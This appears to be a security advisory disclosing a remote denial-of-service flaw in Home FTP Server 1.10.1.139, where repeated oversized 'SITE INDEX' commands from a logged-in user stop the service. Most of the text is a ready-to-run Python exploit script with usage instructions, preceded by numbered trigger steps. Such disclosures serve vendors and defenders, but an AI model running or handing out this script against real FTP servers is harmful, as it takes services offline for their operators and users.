Home FTP Server 'SITE INDEX' Command Remote Denial of Service Vulnerability

[zhangmc@xxxxxxxxxxxxxxxx]

Date of Discovery: 16-Nov-2009

Credits:zhangmc[at]mail.ustc.edu.cn

Vendor: Ari Pikivirta
        http://downstairs.dnsalias.net/homeftpserver.html

Affected:
Home FTP Server 1.10.1.139
Earlier versions may also be affected

Overview:
Home FTP Server FTP Server is an easy use FTP server Application. Denial of 
service 

vulnerability exists in Home FTP Server that causes the application to stop 
service when we 

send multiple irregular "SITE INDEX" commands to the server.

Details:
If you could log on the server successfully, take the following steps and the 
application 

will stop service:

1.sock.connect((hostname, 21))
2.sock.send("user %s\r\n" %username)
3.sock.send("pass %s\r\n" %passwd)
4.for i in range(1,20):
         sock.send("SITE INDEX "+ "a"*30*i +"\r\n")
5.sock.close()


Severity:
High

Exploit example:

#!/usr/bin/python
import socket
import sys

def Usage():
    print ("Usage:  ./expl.py <serv_ip>      <Username> <password>\n")
    print ("Example:./expl.py 192.168.48.183 anonymous anonymous\n")
if len(sys.argv) <> 4:
        Usage()
        sys.exit(1)
else:
    hostname=sys.argv[1]
    username=sys.argv[2]
    passwd=sys.argv[3]
    test_string="a"*30
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    for i in range(1,30):
        try:
            sock.connect((hostname, 21))
        except:
            print ("Connection error!")
            sys.exit(1)
        r=sock.recv(1024)
        print "[+] "+ r
        sock.send("user %s\r\n" %username)
        print "[-] "+ ("user %s\r\n" %username)
        r=sock.recv(1024)
        print "[+] "+ r
        sock.send("pass %s\r\n" %passwd)
        print "[-] "+ ("pass %s\r\n" %passwd)
        r=sock.recv(1024)
        print "[+] "+ r

 
        for i in range(1,20):
            sock.send("SITE INDEX "+ test_string*i +"\r\n")
            print "[-] "+ ("SITE INDEX "+ test_string +"\r\n")
            r=sock.recv(1024)
            print "[+] "+ r
            
        sock.close()
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 
       
    sys.exit(0);